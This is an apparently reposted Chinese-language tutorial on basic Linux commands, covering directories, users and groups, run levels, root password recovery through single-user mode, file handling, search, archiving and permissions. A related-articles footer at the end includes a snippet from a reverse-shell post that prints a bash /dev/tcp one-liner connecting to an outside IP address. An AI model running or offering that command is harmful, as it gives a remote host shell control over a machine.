Linux指令

Linux

目录简介/bin Binary的缩写,存放最经常使用的命令/sbin s代表Super user,存放系统管理员使用的系统管理程序/home 存放普通用户的主目录,每个用户都有专属的目录且一般以用户名命名/root 为系统管理员所有,也称作超级权限者的用户主目录/lib 系统开机所需最基本的动态连接共享库,其作用类似于Windows里的DLL文件/lost+found 此目录一般情况下是空的,当系统非法关机后,才存放一些文件/etc 所有系统管理所需的配置文件和子目录,例如安装mysql数据库-my.conf /usr 非常重要的目录,存放用户的应用程序和文件,类似于Windows的program files /boot 存放启动Linux时使用的核心文件,包括链接、镜像文件等/proc 虚拟的目录,系统内存的映射,通过访问此目录以获取系统信息/srv service的缩写,存放一些服务启动之后需要提取的数据/sys Linux2.6内核的一大改动,该目录安装了2.6内核中一个新文件系统 sysfs /tmp 存放临时文件/dev 类似于windows的设配管理器,只不过Linux将所有的硬件都用文件的方式存储/media Linux系统会自动识别一些设备,如U盘、光驱等,识别后将其挂在于此目录/mnt 系统提供此目录用以临时挂载别的文件系统,用户可以将外部的存储挂载于/mnt /opt 系统提供用以安装其他软件,如安装ORACLE数据库等,默认为空/usr/local 系统提供用以使用编译源码方式安装程序的目录/var 该目录存放经常被修改的文件及目录,例如各种日志文件/selinux 系统的一种安全子系统,控制程序只能访问特定文件,有三种可设置的工作模式

关机&重启

指令简介shutdown -h now 立刻进行关机shutdown -h 1 1分钟后进行关机shutdown -r now 立即进行重启halt 关机reboot 现在重新启动计算机sync 将内存数据同步到磁盘上

注意:不论是重启系统或者关闭系统,都应先手动运行sync命令进行内存数据同步

即使目前的shutdown/reboot/halt等命令均在关机前进行了sync命令,但应谨慎为上

用户管理

用户登录和注销

  • 尽量少使用root账户登录,因为它是系统管理员,拥有最大的权限。为了避免误操作,一般使用普通账户登录,如若需要相应的权限,可以使用 su – root命令临时切换为系统管理员身份。
  • 在提示符下输入 logout即可注销账户

添加用户

基本介绍:Linux系统是一个多用户多任务的操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账户,然后用这个账号的身份进入系统

  • 基本语法
  • useradd 用户名
    • 当创建用户成功以后,会自动的创建和用户名同名的家目录
    • 也可以通过useradd -d 指定目录 新的用户名,给新创建的用户指定家目录
  • 指定/修改密码
  • passwd 用户名

删除用户

  • 基本语法
  • userdel 用户名
    • 默认保留home目录,仅删除用户
    • user -r 用户名 ,删除用户以及用户home目录

查询用户

  • 基本语法
  • id 用户名,即可显示用户信息
  • 说明,当用户不存在时,返回无此用户

切换用户

  • 基本介绍
  • 在Linux系统中,如果当前用户的权限不够,可以通过su – 更高权限用户,切换用户执行
  • 基本语法
  • su – 切换用户名
    • 细节说明
    • 从高权限用户切换到低权限用户,不需要输入密码,反之需要
    • 当需要返回原来用户时,使用exit/logout指令

查看当前用户

  • 基本语法
  • whoami/who am i

用户组

介绍:类似于角色,系统可以对有共性/权限的多个用户进行统一管理

  • 新增组
  • groupadd 组名
  • 删除组
  • groupdel 组名
  • 创建用户时指定用户组
  • useradd -g 用户组 用户名
  • 如果创建用户时,并未指定用户组,则默认与用户名同名的用户组
  • 修改用户组
  • usermod -g 用户组 用户名
  • 用户和组相关文件
  • /etc/passwd
    • 用户(user)的配置文件,用于记录用户的各种信息
    • 每行含义: 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录shell
  • /etc/shadow
    • 口令的配置文件
    • 每行含义: 登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时时间:失效时间:标志
  • /etc/group
    • 组(group)的配置文件, 记录Linux包含的组信息
    • 每行含义: *组名:口令:组标识号:组内用户列表

指定运行级别

基本介绍

运行级别说明:

  • 0 : 关机
  • 1 : 单用户(找回丢失密码)
  • 2 : 多用户状态没有网络服务
  • 3 : 多用户状态有网络服务
  • 4 : 系统未使用保留给用户
  • 5 : 图形界面
  • 6 : 系统重启 说明:常用运行级别是3和5, 也可以指定默认运行级别 命令:init[0123456]
  • 通过init来切换不同的运行级别

CentOS7运行级别说明

在/ect/inittab文件中进行了简化, 如下:

  • multi-user.target: analogous to runlevel 3
  • graphical.target: analogous to runlevel 5
  • -# To view current default target, run: systemctl get-default
  • -# To set a default target, run: systemctl set-default TARGET.target

重置root密码

如何找回root密码

Linux指令
2. 进入编辑界面, 使用键盘上下键移动光标, 找到以 “Linux16”开头内容所在的行数, 将 ro改为 rw,并在行末输入: init=/bin/sh
3. 输入完成后,直接按快捷键: Ctrl+x, 进入 单用户模式
4. 输入: “passwd root”, 回车, 接着输入密码与确认密码, 显示passwd…..,说明密码修改成功
5. 在鼠标闪烁位置输入: touch /.autorelabel, 按下回车
6. 输入: exec /sbin/init, 完成后按下回车键, 等待系统自动修改密码, 这个过程时间可能有点久, 需耐心等待, 完成后系统自动重启, 新密码生效(或者手动启动虚拟机)

帮助指令

  • man获得帮助信息
  • man [命令或配置文件] (功能描述: 获得帮助信息)
  • 例如: 查看ls命令的帮助信息 man ls (在Linux系统中, 隐藏文件是以 “.”开头)
  • help指令
  • help 命令 (功能描述: 获得shell内置命令的帮助信息)
  • 例如: 查看cd命令的帮助信息 help cd

文件目录

  • pwd
  • pwd ,显示当前工作目录的绝对路径
  • ls
  • ls [选项] [目录或是文件]
  • 常用选项
    • -a : 显示当前目录所有的文件和目录, 包括隐藏文件
    • -l : 以列表的方式显示信息
  • cd
  • cd [参数] (功能描述: 切换到指定目录, 绝对路径,相对路径皆可)
    • cd ~ 或者 cd : 回到自己的家目录, 例如当前用户为root, 则cd ~ 切换到/root
    • cd.. 回到当前目录的上一级目录
  • mkdir
  • mkdir [选项] 创建的目录
  • mkdir -p 创建多级目录
  • 例如(下例中仅/home/目录存在):
    • mkdir /home/dog 创建/home/dog目录
    • mkdir -p /home/animal/cat 创建/home/animal/cat目录
  • rmdir
  • mkdir的反向操作, 用于删除目录
  • rmdir [选项] 要删除的目录
    • rmdir /home/dog 删除/home/dog目录
    • 上例仅能删除空目录, rm -rf 要删除的非空目录
  • rm指令能够删除文件和目录
    • 选项 r表示递归删除目录
    • f表示强制删除, 不会显示删除确定提示
  • rmdir -p 要删除的目录, 是当子目录被删除后使它也成为空目录的话,则顺便一并删除
  • touch
  • 创建空文件
  • touch 文件名称
  • cp
  • 拷贝文件
  • cp [选项] source dest
    • source: 源文件
    • dest: 目标目录
  • 常用选项: -r, 用于递归复制整个文件夹
  • rm
  • 删除文件或目录
  • rm [选项] 要删除的文件或目录
  • 常用选项:
    • -r : 递归删除整个文件夹
    • -f : 强制删除不提醒
  • 应用实例:
    • rm /home/HelloWorld.java : 删除/home/HelloWorld.java
    • rm -rf /home/dir_java : 递归删除/home/dir_java目录
    • 提示: 删除的目录有多个文件或目录时, 加上 -f选项, 避免不必要的删除确认提示
  • mv
  • 移动文件与目录或者重命名
    • mv oldFileName newFileName (当前目录下, 执行重命名操作)
    • mv /temp/sourceFile /opt/destFile (移动文件)
  • cat
  • 查看文件内容
  • cat [选项] 要查看的文件
    • 常用选项: -n, 显示行号
  • more
  • 其是基于vi编辑器的文本过滤器, 以全屏幕的方式按页显示文本文件的内容
  • more 要查看的文件
    • 详细操作:操作功能说明空格键(space)表示向下翻页回车键(Enter)表示向下一行q 退出more指令Ctrl + F 向下滚动一屏Ctrl + B 返回上一屏=输出当前行号:f 输出文件名和当前行号
  • less
  • less指令用来分屏查看文件内容, 功能与more指令类似, 但比more指令更加强大, 支持各种显示终端. 使用less指令查看文件内容时, 并不是一次性将整个文件加载到内存, 而是按需动态加载内容, 使用查看较大的文件
  • less 要查看的文件
    • 详细操作操作功能说明空格键向下翻动一页[pagedown]向下翻动一页[pageup]向上翻动一页/字符向下查找[字符], n : 下一个匹配字符, N : 上一个匹配字符?字符向上查找[字符], n : 上一个匹配字符, N : 下一个匹配字符q 退出less
  • echo
  • 输出内容到控制台
  • echo [选项] [输出内容]

    • echo $PATH : 输出环境变量
    • echo hello, world! : 输出hello, world!
  • head

  • 用于显示文件开头部分的内容
    • head 文件 : 查看文件前10行内容(默认为10行)
    • head -n 5 文件 : 查看文件前5行内容
  • tail
  • 用于输出文件尾部内容, 默认情况下显示文件的后10行内容
    • tail 文件 : 查看文件后10行内容
    • tail -n 5 文件 : 查看文件后5行内容
  • tail -f 文件 : 实时追踪该文档的所有更新
  • >和>>
  • .> : 输出重定向, >> : 追加
    • ls -l > ls.txt : 将列表的内容写入文件ls.txt中(覆盖写)
    • ls -al >> lsa.txt : 将列表的内容追加到文件lsa.txt的末尾
    • cat 文件1 > 文件2 : 将文件一的内容覆盖写到文件2中
  • ln
  • 软连接也称为符号连接, 类似于Windows里的快捷方式, 用于链接其它文件
  • ln -s [原文件或目录] [软链接名] : 给原文件创建一个软链接
  • 说明: 使用pwd指令查看目录时, 仍然是软链接所在的目录
  • history
  • 查看已经历史命令, 也可以再次执行历史命令
  • 应用实例:
    • history : 显示所有的历史命令
    • history 10 : 显示最近使用过的10个命令
    • !5 : 执行历史编号为5的命令

时间日期

  • date
  • 显示当前日期指令功能说明date 显示当前时间date +%Y 显示当前年份date +%m 显示当前月份date +%d 显示当前是哪一天date “+%Y-%m-%d %H:%M:%S”显示年月日时分秒
  • 设置日期
    • date -s 字符串时间
  • cal
  • 查看日历指令
  • cal [选项] : 不加选项, 显示本月日历

搜索查找

  • find
  • find指令将从指定目录向下递归地遍历其各个子目录,将满足条件的文件或目录显示在终端
  • 基本语法
    • find [搜索范围] [选项]选项功能-name 按照指定的文件名查找模式查找文件-user 查找属于指定用户名所有文件-size 按照指定的文件大小查找文件
  • 应用实例
    • 案例一: 按文件名,根据名称查找/home/目录下的hello.txt文件
    • find /home -name hello.txt
    • 案例二:按拥有者:查找/opt目录下,用户名称为noboby的文件
    • find /opt -user nobody
    • 案例三:查找整个linux系统下大于200M的文件(+n大于 -n小于 n等于,单位有k, M, G)
    • find / -size +200M
  • locate
  • locate指令可以快速定位文件路径。locate指令利用事先建立的系统中所有文件名称及路径的locate数据库实现快速定位给定的文件。locate指令无需遍历整个文件系统,查询速度较快。为了保证查询结果的准确性,管理员必须定期更新locate数据库
  • 基本语法:
    • locate 搜索文件
    • 特别说明:由于locate指令基于数据库进行查询,所以第一次运行前,必须使用updatedb指令创建locate数据库
    • which指令,可以查看某个指令在哪个目录下,比如ls指令在那个目录
  • grep和|
  • grep过滤查找,管道符 |,表示将前一个命令的处理结果输出传递给后面的命令处理
  • 基本语法
    • grep [选项] 查找内容 源文件
  • 常用选项选项功能-n 显示匹配行及行号-i 忽略字母大小写
  • 应用实例
    • 请在hello.txt文件中,查找”yes”所在行,并且显示行号
    • cat /home/hello.txt | grep “yes”
    • grep -n “yes” /home/hello.txt

解压缩

  • gzip/gunzip
  • gzip用于压缩文件, gunzip用于解压
  • 基本语法
    • gzip 文件(只能将文件压缩为*.gz文件)
    • gunzip 文件.gz (解压gz文件)
  • 应用实例
    • 案例一:gzip压缩,将/home/hello.txt文件进行压缩
    • gzip /home/hello.txt
    • 案例二:gunzip解压,将/home/hello.txt.gz文件进行解压
    • gunzip /home/hello.txt.gz
  • zip/unzip
  • zip用于压缩文件,unzip用于解压文件,这个在项目打包发布中很有用
  • 基本语法
    • zip [选项] xxx.zip 要压缩的内容(压缩文件和目录)
    • unzip [选项] xxx.zip (解压文件)
    • 常用选项
    • -r,递归压缩,及压缩目录
    • -d
  • 应用实例
    • 案例一:将/home/目录及其所有子文件,子文件目录进行压缩为myhome.zip
    • zip -r myhome.zip /home/
    • 案例二:将myhome.zip解压到/opt/tmp目录下
    • mkdir /opt/tmp
    • unzip -d /opt/tmp /home/myhome.zip
  • tar
  • tar指令是打包指令,最有打包后的文件类型是 .tar.gz
  • 基本语法
    • tar [选项] xxx.tar.gz 打包的内容选项功能-c 产生.tat打包文件-v 显示详细信息-f 指定压缩后的文件名-z 打包同时压缩-x 解压.tar文件
  • 应用实例
    • 案例一:压缩多个文件,将/home/pig.txt和/home/cat.txt压缩成 pc.tar.gz
    • tar -zcvf pc.tar.gz /home/pig.txt /home/cat.txt
    • 案例二:将/home文件夹压缩成myhome.tar.gz
    • tar -zcvf myhome.tar.gz /home/
    • 案例三:将pc.tar.gz解压到当前目录
    • tar -zxvf pc.tar.gz

组、权限管理

  • 在Linux中的每个用户都必须属于某一个组
  • Linux中文件也有组的概念,且不局限于一个组
    • 所在组
    • 其它组
  • 文件/目录所有者
    • 一般为文件/目录的创建者,谁创建了该文件/目录,就为其所有者
    • 查看所有者
    • ls -lah
    • 修改所有者
    • chown 用户名 文件名
  • 文件/目录所在组
    • 当某个用户创建了一个文件后,该用户所在组就是文件所在组
    • 查看文件/目录所在组
    • ls -lah
    • 修改文件所在组
    • chgrp 组名 文件名
  • 其它组
    • 除文件的所有者和所在组的用户外,系统的其他用户都是文件的其它组
    • 改变用户所在组
    • usermod -g 新组名 用户名
    • usermod -d 目录名 用户名 改变该用户登录的初始目录。
      • 特别说明,用户需要有进入新目录的权限
  • 权限
  • 通常, ls -l显示内容如下: -rwx rw-r–1 root root 121 Feb 2 12:12 hello.txt
  • 说明(0~9):
    • 第0位:文件类型( d, -, l, c, b
    • :普通文件
    • d:目录,也就是文件夹
    • c:字符设备文件,鼠标,键盘
    • b:块设备,例如,硬盘
    • 第1~3位:所有者权限,—User
    • 第4~6位:所属组权限,—Group
    • 第7~9位:其它用户权限,—Other
  • rwx权限说明
    • 对于文件
    • r:表示可读( read),可以读取、查看
    • w:表示可写( write),可以修改, 但是并不代表可以删除该文件,删除需要有对该文件所在目录具有写权限
    • x:表示可执行( execute),可以被执行
    • 对于目录
    • r:表示可读( read),可以读取、ls查看目录内容
    • w:表示可写( write),可以修改,对目录内创建、删除、重命名目录/文件
    • x:表示可执行( execute),可以进入该目录
    • 数字表示权限
    • r=4,w=2,x=1,因此rwx=4+2+1=7
  • 其它说明
    • -rwx rw-r–1 root root 121 Feb 2 12:12 hello.txt
    • 1: 文件:硬连接数, 目录:子目录数
    • root:用户
    • root:组
    • 121:文件大小(字节),如果是文件夹,显示4096字节
    • Feb 2 12:12:最后修改时间
    • hello.txt:文件名
  • 修改权限
    • 通过 chmod指令,可以修改文件或者目录的权限
    • chmod u=rwx,g=rx,o=x 文件/目录名
    • chmod o+x 文件/目录名
    • chmod a-x 文件/目录名
    • 说明:u:所有者,g:所有组,o:其他人,a:所有人(u,g,o的总和) +:增加权限, :减少权限, =赋予权限
    • 案例演示
    • 设置hello.txt文件的所有者 读写执行权限,所在组 读执行,其它组 读执行
      • chmod u=rwx,g=rx,o=rx hello.txt
    • 设置hello.txt文件所有者除去 执行权限,增加所在组 权限
      • chmod u-x,g+w hello.txt
    • 设置hello.txt文件所有用户添加 权限
      • chmod a+r hello.txt
  • 使用 数字方式变更权限 r=4,w=2,x=1数字相应权限 0 1 x 2 w 3 wx 4 r 5 rx 6 rw 7 rwx
    • 例如: chmod u=rwx,g=rx,o=x hello.txt== chmod 751 hello.tx
  • 修改文件所有者
  • 基本用法
  • chown newowner 文件/目录 改变所有者
  • chown newowner:newgroup 文件/目录 改变所有者和所在组
    • -R,如果是目录,则是其下所有子文件或目录递归生效
  • 案例演示
    • 将/home/abc.txt文件的所有者修改为tom
    • chown tom /home/abc.txt
    • 将/home/test目录下所有的文件和目录的所有者都修改为tom
    • chown -R tom /home/test
  • 修改文件/目录所在组
  • 基本用法
    • chgrp newgroup 文件/目录
  • 案例演示
    • 将/home/abc.txt文件的所在组修改成sh
    • groupadd sh
    • chgrp sh /home/abc.txt
    • 将/home/kkk目录下的所有文件和目录所在的组都修改成sh
    • *chgrp -R sh /home/kkk

Original: https://www.cnblogs.com/orangestart/p/15631018.html
Author: 橙子-
Title: Linux指令

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/524317/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • CentOS下配置NTP时间服务器

    配置ntp.conf [root@server ~]# vim /etc/ntp.conf For more information about this file, see th…

    Linux 2023年6月13日
    0103
  • Shell特殊变量:Shell $0, $#, $*, $@, $?, $$和命令行参数

    Shell特殊变量:Shell $0, $#, $*, $@, $?, $$和命令行参数 测试脚本 $ 和 $@* 的区别 $ 和 $@ 都表示传递给函数或脚本的所有参数,不被双引…

    Linux 2023年5月28日
    088
  • 服务器监控 -TOP命令详解(下)

    用jmeter做性能测试的时候,top命令是最简单扼要的查看服务器CPU和内存占用情况的命令。如下图就是TOP命令展示出来的结果,下面对结果进行详细解说。 Mem 物理内存: to…

    Linux 2023年6月8日
    086
  • redis限流的3种实现方式

    Redis限流的实现方式有3种,分别是:1、基于Redis的setnx的操作,给指定的key设置了过期实践;2、基于Redis的数据结构zset,将请求打造成一个zset数组;3、…

    Linux 2023年5月28日
    094
  • Linux 0.11源码阅读笔记-块设备驱动程序

    块设备驱动程序 块设备驱动程序负责读写块设备数据。内核代码使用缓冲区块与块设备(如磁盘)间接交换数据,缓冲区数据通过块设备驱动程序和块设备交换。 [En] The block de…

    Linux 2023年5月27日
    092
  • Linux系统查看hosts配置与dns域名配置

    ;gutter:true;方法1:for i incat /etc/hosts | grep -v ^$ | grep -v “127.0.0.1” | g…

    Linux 2023年6月13日
    085
  • python正则表达式

    1.定义 正则表达式使用某种预定义的模式去匹配一类具有共同特征的字符串,主要用于处理字符串,可以快速、准确地完成复杂的查找、替换等处理要求。 re模块提供了正则表达式操作所需要的的…

    Linux 2023年6月7日
    0117
  • Linux 逻辑卷&精简卷报错问题解决

    一、 故障 描述 现象1 :oraclelog 目录提示坏道信息,进行修复后执行删除文件操作,目录不可使用。 现象2 :lsblk 看到目录出现重复,并且有tmeta,tdata …

    Linux 2023年6月13日
    0106
  • CAP 5.1 版本发布通告 你期待的 Redis 来了

    前言 今天,我们很高兴宣布 CAP 发布 5.1 版本正式版,在这个版本里我们同样引入了更多令人激动的新特性和改进,同时也得到越来越多人的喜爱。 得益于社区的反馈和贡献者的支持,在…

    Linux 2023年5月28日
    0105
  • shell脚本调试方法

    set -x bash -x test.sh 作者:习惯沉淀 如果文中有误或对本文有不同的见解,欢迎在评论区留言。 如果觉得文章对你有帮助,请点击文章右下角【推荐】一下。您的鼓励是…

    Linux 2023年5月28日
    092
  • [转]最值得拥有的免费Bootstrap后台管理模板

    Original: https://www.cnblogs.com/haowuji/p/7490519.htmlAuthor: 下-个路口Title: [转]最值得拥有的免费Boo…

    Linux 2023年6月13日
    0104
  • 软件工程 结构法方法 第2篇随笔

    建立系统的功能模型图 首先:建立系统环境图,确定系统边界 其中: 数据流为:销售的商品,日销售额等;三个输入流,三个输出流 ​ 数据源为:营业员,经理,收款员 ​ 数据潭为:经理,…

    Linux 2023年6月7日
    0100
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    094
  • zabbix 报表动作日志 报错”503“

    本文来自博客园,作者:xiao智,转载请注明原文链接:https://www.cnblogs.com/yuwen01/p/16216868.html Original: https…

    Linux 2023年6月13日
    0101
  • 20191223 实验一 密码引擎

    任务一 OpenEuler系统安装 1.登录自己的华为云账号,参考附件图示,构建基于鲲鹏和OpenEuler的ECS。或者通过使用树莓派安装OpenEuler,或者自己通过虚拟机安…

    Linux 2023年6月8日
    0103
  • SpringBoot-MVC自动配置原理

    MVC自动配置原理 5.1 官网阅读 在进行项目编写前,我们还需要知道一个东西,就是SpringBoot对我们的SpringMVC还做了哪些配置,包括如何扩展,如何定制。 只有把这…

    Linux 2023年6月14日
    0103
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球